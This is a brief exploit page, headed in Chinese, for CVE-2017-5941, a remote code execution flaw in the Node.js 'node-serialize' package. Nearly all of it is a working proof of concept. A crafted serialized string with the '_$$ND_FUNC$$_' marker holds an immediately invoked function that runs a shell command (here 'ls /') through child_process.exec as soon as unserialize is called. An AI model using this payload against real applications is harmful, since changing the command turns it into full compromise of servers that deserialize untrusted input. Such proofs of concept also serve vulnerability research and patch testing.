CVE-2017-5941_Node.JS_-_’node-serialize’_遠程代碼執行漏洞

# CVE-2017-5941 Node.JS – ‘node-serialize’ 遠程代碼執行漏洞
==EXP==

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);